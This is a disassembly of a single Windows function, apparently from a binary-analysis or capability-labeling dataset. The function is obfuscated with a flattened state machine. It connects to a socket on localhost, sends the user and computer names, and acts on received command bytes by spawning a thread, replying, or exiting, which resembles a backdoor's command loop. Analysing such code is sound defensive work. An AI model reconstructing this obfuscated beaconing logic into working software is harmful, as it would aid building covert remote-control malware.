Function at 0x402980
Capabilities:
Create thread
Get hostname
Get session user name
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x7d0
mov eax, dword [0x41e00c]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x7a8], 0
lea eax, [ebp - 0x198]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x190
call fcn.00403e10
mov dword [ebp - 0x7ac], 0xffffffff
lea eax, [ebp - 0x198]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
cmp eax, 0
sete al
and al, 1
mov byte [ebp - 0x7a1], al
mov dword [ebp - 0x7b4], 0x240edc11
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x7b8], eax
sub eax, 0x962f66a4
je 0x402f4d
jmp 0x402a16
mov eax, dword [ebp - 0x7b8]
sub eax, 0x978e5290
je 0x402e0b
jmp 0x402a2c
mov eax, dword [ebp - 0x7b8]
sub eax, 0x9d061843
je 0x402c80
jmp 0x402a42
mov eax, dword [ebp - 0x7b8]
sub eax, 0xa3a3e89c
je 0x402d75
jmp 0x402a58
mov eax, dword [ebp - 0x7b8]
sub eax, 0xaa5fe950
je 0x402d84
jmp 0x402a6e
mov eax, dword [ebp - 0x7b8]
sub eax, 0xaf4b3e6f
je 0x402de0
jmp 0x402a84
mov eax, dword [ebp - 0x7b8]
sub eax, 0xe0339d12
je 0x402d3b
jmp 0x402a9a
mov eax, dword [ebp - 0x7b8]
sub eax, 0xe3b1ab87
je 0x402d66
jmp 0x402ab0
mov eax, dword [ebp - 0x7b8]
sub eax, 0xe7a5403e
je 0x402fbb
jmp 0x402ac6
mov eax, dword [ebp - 0x7b8]
sub eax, 0xf0068701
je 0x402e8a
jmp 0x402adc
mov eax, dword [ebp - 0x7b8]
sub eax, 0xf047ae14
je 0x402e69
jmp 0x402af2
mov eax, dword [ebp - 0x7b8]
sub eax, 0xf7806eff
je 0x402eab
jmp 0x402b08
mov eax, dword [ebp - 0x7b8]
sub eax, 0xf0e8346
je 0x402f17
jmp 0x402b1e
mov eax, dword [ebp - 0x7b8]
sub eax, 0x1c8197b0
je 0x402f8b
jmp 0x402b34
mov eax, dword [ebp - 0x7b8]
sub eax, 0x240edc11
je 0x402c15
jmp 0x402b4a
mov eax, dword [ebp - 0x7b8]
sub eax, 0x2c37731a
je 0x402fac
jmp 0x402b60
mov eax, dword [ebp - 0x7b8]
sub eax, 0x425ca91b
je 0x402f7c
jmp 0x402b76
mov eax, dword [ebp - 0x7b8]
sub eax, 0x4a7c5572
je 0x402ecc
jmp 0x402b8c
mov eax, dword [ebp - 0x7b8]
sub eax, 0x52b2a033
je 0x402c36
jmp 0x402ba2
mov eax, dword [ebp - 0x7b8]
sub eax, 0x599cd679
je 0x402c45
jmp 0x402bb8
mov eax, dword [ebp - 0x7b8]
sub eax, 0x5d7cfd97
je 0x402fda
jmp 0x402bce
mov eax, dword [ebp - 0x7b8]
sub eax, 0x65c4ec00
je 0x402e48
jmp 0x402be4
mov eax, dword [ebp - 0x7b8]
sub eax, 0x70a2e7b5
je 0x402e27
jmp 0x402bfa
mov eax, dword [ebp - 0x7b8]
sub eax, 0x79e5e6ed
je 0x402da3
jmp 0x402c10
jmp 0x402ffb
mov dl, byte [ebp - 0x7a1]
mov eax, 0x5d7cfd97
mov ecx, 0x52b2a033
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov dword [ebp - 0x7b4], 0x599cd679
jmp 0x402ffb
lea eax, str.localhost
mov dword [esp], eax
mov dword [esp + 4], 0x1b9e
call section..text
mov dword [ebp - 0x7ac], eax
mov eax, 0xa3a3e89c
mov ecx, 0x9d061843
cmp dword [ebp - 0x7ac], 0xffffffff
cmovne eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov dword [ebp - 0x79c], 0xff
lea ecx, [ebp - 0x697]
lea eax, [ebp - 0x79c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea ecx, [ebp - 0x796]
lea eax, [ebp - 0x79c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
lea eax, [ebp - 0x796]
lea ecx, [ebp - 0x697]
lea esi, [ebp - 0x598]
lea edx, [0x417220]
mov dword [esp], esi
mov dword [esp + 4], 0x400
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.004030a0
mov dword [ebp - 0x7b0], eax
mov eax, dword [ebp - 0x7b0]
lea ecx, [ebp - 0x598]
mov edx, dword [ebp - 0x7ac]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004012a0
mov edx, eax
mov eax, 0xe3b1ab87
mov ecx, 0xe0339d12
cmp edx, 0xffffffff
cmove eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov eax, dword [ebp - 0x7ac]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7ac], 0xffffffff
mov dword [ebp - 0x7b4], 0xe3b1ab87
jmp 0x402ffb
mov dword [ebp - 0x7b4], 0xa3a3e89c
jmp 0x402ffb
mov dword [ebp - 0x7b4], 0xaa5fe950
jmp 0x402ffb
mov eax, 0xe7a5403e
mov ecx, 0x79e5e6ed
cmp dword [ebp - 0x7ac], 0xffffffff
cmovne eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov ecx, dword [ebp - 0x7ac]
lea eax, [ebp - 0x797]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.004012e0
mov edx, eax
mov eax, 0x978e5290
mov ecx, 0xaf4b3e6f
cmp edx, 0
cmovle eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov eax, dword [ebp - 0x7ac]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7ac], 0xffffffff
mov dword [ebp - 0x7b4], 0x978e5290
jmp 0x402ffb
movzx eax, byte [ebp - 0x797]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x7b4], 0x70a2e7b5
jmp 0x402ffb
mov edx, dword [ebp - 0x7a0]
mov eax, 0x65c4ec00
mov ecx, 0xf7806eff
cmp edx, 2
cmovl eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov edx, dword [ebp - 0x7a0]
mov eax, 0xf047ae14
mov ecx, 0xf0068701
cmp edx, 4
cmovl eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov edx, dword [ebp - 0x7a0]
mov eax, 0x425ca91b
mov ecx, 0x962f66a4
cmp edx, 4
cmove eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov edx, dword [ebp - 0x7a0]
mov eax, 0x425ca91b
mov ecx, 0xf0e8346
cmp edx, 2
cmove eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
mov edx, dword [ebp - 0x7a0]
mov eax, 0x425ca91b
mov ecx, 0x4a7c5572
cmp edx, 1
cmove eax, ecx
mov dword [ebp - 0x7b4], eax
jmp 0x402ffb
xor eax, eax
lea eax, [0x401a50]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x7b4], 0x2c37731a
jmp 0x402ffb
mov byte [ebp - 0x797], 3
mov ecx, dword [ebp - 0x7ac]
lea eax, [ebp - 0x797]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.004012a0
mov dword [ebp - 0x7b4], 0x2c37731a
jmp 0x402ffb
lea eax, str._nClose_the_connection_:V__n
mov dword [esp], eax
call fcn.00403030
mov eax, dword [ebp - 0x7ac]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x7b4], 0x1c8197b0
jmp 0x402ffb
mov eax, dword [ebp - 0x7ac]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7b4], 0x2c37731a
jmp 0x402ffb
mov dword [ebp - 0x7b4], 0xaa5fe950
jmp 0x402ffb
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov dword [ebp - 0x7b4], 0x599cd679
jmp 0x402ffb
xor eax, eax
mov dword [ebp - 0x7bc], eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00403296
mov eax, dword [ebp - 0x7bc]
add esp, 0x7d0
pop esi
pop ebp
ret
jmp 0x4029fa